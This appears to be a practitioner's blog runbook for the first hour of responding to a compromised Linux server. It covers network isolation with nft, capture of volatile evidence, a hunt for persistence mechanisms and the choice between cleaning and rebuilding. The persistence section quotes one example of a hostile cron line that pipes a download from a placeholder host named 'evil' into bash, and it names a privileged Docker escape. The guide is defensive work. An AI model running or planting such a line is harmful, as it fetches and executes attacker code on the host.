Last March I got the call I had been dreading for years. A customer running a Debian 12 jump host on Hetzner pinged me at 02:14 with a screenshot of their billing dashboard: 1.4 TB of egress in eight hours, all to a /24 in Bulgaria they had never heard of. By the time I SSHed in, top was showing a process called kdevtmpfsi pegging four cores at 100%, and /tmp had a directory owned by www-data that I had not put there. The server was, in the technical sense, on fire.
This article is the runbook I wish I had taped to my monitor that night. It covers the first sixty minutes after you find evidence that a Linux server has been compromised — the window where every decision either preserves your ability to understand what happened or destroys it. I have used a version of this checklist on roughly a dozen real incidents since 2022, including the one above, and I have refined it after every single one.
If you are reading this in the middle of an active incident: take a breath, open a notebook (paper, not on the host), and start a timer. The goal of the first hour is not to "fix" anything. It is to stop the bleeding, capture the crime scene, and buy yourself the right to make slow decisions later.
Minute 0 to 10: Isolate Without Tipping Off the Attacker
The instinct most engineers have — and the one I had on that Hetzner box — is to immediately kill the suspicious process. Do not do that. A live attacker watching ps output will notice, and a well-built implant will trigger a self-destruct that wipes /var/log and ~/.bash_history the moment its parent dies. You want to cut the network first, then think.
If the host is in a cloud, use the provider's console to apply a deny-all security group or network ACL. On AWS, attach a security group with no rules at all — the default behavior is implicit deny, which severs every outbound connection without rebooting the box. On Hetzner, Vultr, or DigitalOcean, the firewall panel takes about twenty seconds. This is preferable to using iptables on the host itself, because the attacker can see iptables rule changes via dmesg or netlink subscribers.
If you must do it on the host (bare metal, no provider firewall), use nft in a single atomic ruleset rather than incremental iptables -A calls, and keep your own SSH session alive with an explicit allow:
#!/bin/bash
# Save your current SSH client IP first
MY_IP=$(echo $SSH_CLIENT | awk '{print $1}')
nft -f - <<EOF
flush ruleset
table inet quarantine {
chain input {
type filter hook input priority 0; policy drop;
ct state established,related accept
iif lo accept
ip saddr ${MY_IP} tcp dport 22 accept
}
chain output {
type filter hook output priority 0; policy drop;
ct state established,related accept
oif lo accept
ip daddr ${MY_IP} tcp sport 22 accept
}
chain forward {
type filter hook forward priority 0; policy drop;
}
}
EOF
That ruleset drops everything except your in-flight SSH session and loopback. It is intentionally noisy if anything tries to phone out — which is exactly what you want for the next forty minutes.
Minute 10 to 25: Capture Volatile State Before It Vanishes
Now you can look around, but every command you run needs to dump its output somewhere that survives. I create a tmpfs-backed evidence directory on the host and scp it to my laptop at the end of the hour. Do not write evidence to the compromised disk if you can avoid it — your laptop, an attached USB stick, or an S3 bucket the attacker cannot reach is fine.
mkdir -p /dev/shm/ir-$(date +%s) && cd $_
# Process tree with full command lines and start times
ps -eo pid,ppid,user,lstart,etime,cmd --forest > ps.txt
# Every open network connection with the owning PID
ss -tunap > ss.txt
# Loaded kernel modules (rootkits hide here)
lsmod > lsmod.txt
cat /proc/modules > proc_modules.txt
# Cron, at, systemd timers
crontab -l 2>/dev/null > root_cron.txt
for u in $(cut -d: -f1 /etc/passwd); do
echo "=== $u ===" >> user_crons.txt
crontab -u $u -l 2>/dev/null >> user_crons.txt
done
systemctl list-timers --all > timers.txt
# Logged-in users and recent logins
who > who.txt; last -n 50 > last.txt; lastb -n 50 > lastb.txt
# Anything modified in the last 48 hours outside /var, /proc, /sys
find / -xdev -mtime -2 -type f \
-not -path '/var/*' -not -path '/proc/*' -not -path '/sys/*' \
-not -path '/run/*' 2>/dev/null > recent_files.txt
That find command is the single most valuable thing on the list. On the Hetzner incident it surfaced a Python script in /usr/lib/python3/dist-packages/_distutils_hack/ that had been touched eleven minutes before I logged in — a perfect imposter directory the attacker had used because pip would never warn about it. Cryptojacking implants in 2026 still overwhelmingly live in /tmp, /var/tmp, /dev/shm, and writable Python site-packages directories, according to Sysdig's annual cloud-native threat report.
One thing worth knowing: ps and ls on a rootkitted host can lie to you. If you have any suspicion of kernel-level compromise, cross-check process lists against /proc directly — ls /proc | grep '^[0-9]' | sort -n walks the kernel's actual task list, which is much harder to hide from than userland libc calls.
Minute 25 to 45: Hunt the Persistence Mechanism
This is the part that separates a real recovery from a "I reinstalled and got reinfected in 90 minutes" recovery. An attacker who got root once will have planted at least one, usually three, ways to come back. You need to find all of them before you wipe the box, because the persistence mechanism tells you which credential, key, or CVE they used to get in originally — and that is the thing you actually have to fix on the rebuild.
I work through this list in order, and I do not move on until each one is clean:
- SSH keys. Check
~/.ssh/authorized_keys for every user, including system users like www-data, postgres, and nobody. Also check /etc/ssh/sshd_config for an AuthorizedKeysFile directive pointing somewhere unexpected, and look for AuthorizedKeysCommand which can shell out to an attacker-controlled script.
- systemd units. Compare
systemctl list-unit-files --state=enabled against a clean host of the same distro/version. Pay particular attention to units in /etc/systemd/system/, /usr/lib/systemd/system/, and per-user units in ~/.config/systemd/user/. The systemd.unit man page documents the full lookup order, and attackers love the user-scope path because it survives a passwd lock.
- Cron, at, anacron. Already captured above, but actually read them. A line like
* * * * * curl -s http://evil/ | bash is obvious; a base64-encoded one-liner in a user's crontab is the modern form.
- Shell rc files.
~/.bashrc, ~/.bash_profile, ~/.profile, /etc/profile.d/*.sh. Diff against a fresh container of the same image — any alias, function, or export PATH= that prepends a writable directory is hostile until proven otherwise.
- LD_PRELOAD and dynamic linker hooks.
cat /etc/ld.so.preload should be empty or non-existent. If it points at a .so in /tmp or /usr/local/lib, you have a userland rootkit.
- PAM modules.
ls -la /lib/x86_64-linux-gnu/security/ (or /lib64/security/ on RHEL) and compare modification dates to the rest of the directory. A backdoored pam_unix.so is the classic "magic password" persistence trick.
- Container runtime and Kubernetes. If the host runs Docker or containerd, list every running container's image and entrypoint. Attackers increasingly pivot via
docker run --privileged --pid=host to escape into the host namespace. The Kubernetes Pod Security Standards docs cover the related namespace boundaries worth checking.
For each finding, write down (a) the file path, (b) its mtime, and (c) the SHA-256. The hash matters because in two weeks, when you are doing the post-mortem, you want to be able to look up that exact binary on VirusTotal or Malware Bazaar and find out what family you were dealing with.
Minute 45 to 60: Decide — Recover or Rebuild
By the forty-fifth minute you have enough information to make the only decision that actually matters: do you try to clean this host in place, or do you nuke it and rebuild? In 2026 the right answer is almost always rebuild. Cleaning a compromised Linux host is acceptable only if all three of these are true:
- You found exactly one persistence mechanism and you are confident there are no others.
- The initial access vector is known and patched (e.g., a specific CVE in a specific service you have now updated).
- The host has no kernel-level compromise indicators —
lsmod matches a clean image, /proc/modules agrees with it, and no suspicious symbols appear in cat /proc/kallsyms | grep -i hook.
If any one of those fails, rebuild. The economics are not close: a fresh provision plus an Ansible/Terraform replay is usually under an hour, while chasing a competent attacker through a live system can swallow a week and still leave you compromised. CISA's incident response guidance says the same thing in more diplomatic language.
When you do rebuild, do it from a known-good base image, restore application data from a backup taken before the earliest suspicious mtime you found, rotate every credential the host had access to (SSH keys, API tokens, database passwords, cloud IAM roles, internal CA certs), and only then restore network connectivity. If you skip the credential rotation step you will simply be reinfected from a different IP. I have watched this happen twice; it is humbling.
One thing I now do on every rebuild that I did not do before 2024: I enable auditd with a minimal ruleset that logs execve, writes to /etc/passwd, and changes to /root/.ssh/. If a future incident happens, that audit trail is worth more than every other log on the box combined. See my notes on a minimum viable auditd config for the exact rules I use.
Caveats and the Things I Got Wrong
This runbook is not universal. If you are dealing with suspected nation-state activity, regulated data (HIPAA, PCI-DSS), or anything that might end up in court, stop reading blog posts and call a professional incident response firm — the chain-of-custody requirements for evidence are stricter than what I described above, and a hot tmpfs directory is not going to survive a defense attorney's cross-examination.
I have also learned, painfully, that the 60-minute window assumes you noticed quickly. If the compromise is months old by the time you find it, the priority order shifts: you spend the first hour scoping (which other systems did this host touch?) rather than isolating one box. The 2024 Mandiant M-Trends report put the global median dwell time at ten days; in my own consulting work I have seen six months. Assume you are at the wrong end of that distribution until you have evidence otherwise.
And for what it is worth: on the Hetzner box from the opening of this article, the initial access vector turned out to be a leaked .env file containing a Redis password, exposed by a Next.js misconfiguration that was serving the project root as static assets. The crypto miner was the symptom; the real problem was a single missing line in next.config.js. The runbook above is what let me figure that out before the rebuild rather than after.
FAQ
Should I shut down the server immediately if I think it's hacked?
No. Powering off destroys all volatile memory state — running processes, network connections, decrypted secrets, and any malware that lives only in RAM. Network isolation gives you the same containment benefit while preserving the evidence you need to understand the attack. Only hard-power-off if you have reason to believe the attacker is actively destroying data and you cannot cut network access fast enough.
Can I just run a rootkit scanner like rkhunter or chkrootkit?
You can, but do not trust a negative result. Those tools detect known rootkit signatures from circa 2010–2018; modern implants are usually custom or use techniques (eBPF-based hiding, in-memory-only payloads) that signature scanners miss entirely. Use them as one data point alongside manual find, diff against a clean image, and behavior-based detection.
How do I know if my backups are clean?
Find the earliest mtime on any artifact in your evidence directory — call it T. Any backup taken after T is suspect. Restore from the most recent backup taken before T, then replay any legitimate data changes from logs or external systems. If your only backups are post-T, restore the data but not any executables, configurations, or cron jobs from those backups.
Do I need to tell my users about the breach?
Almost certainly yes, and probably faster than you think. GDPR requires notification within 72 hours of becoming aware of a breach affecting EU residents' personal data. US state laws vary but most have a similar window. Even when not legally required, disclosing quickly buys enormous trust; trying to hide a breach and being found out later does the opposite. Talk to a lawyer, not a forum, about the specific obligations for your jurisdiction.
If you do nothing else from this article, save the nft ruleset and the find command somewhere you can paste them under pressure at 02:14 in the morning. The rest of the hour gets a lot easier once you have isolation and a list of what changed.
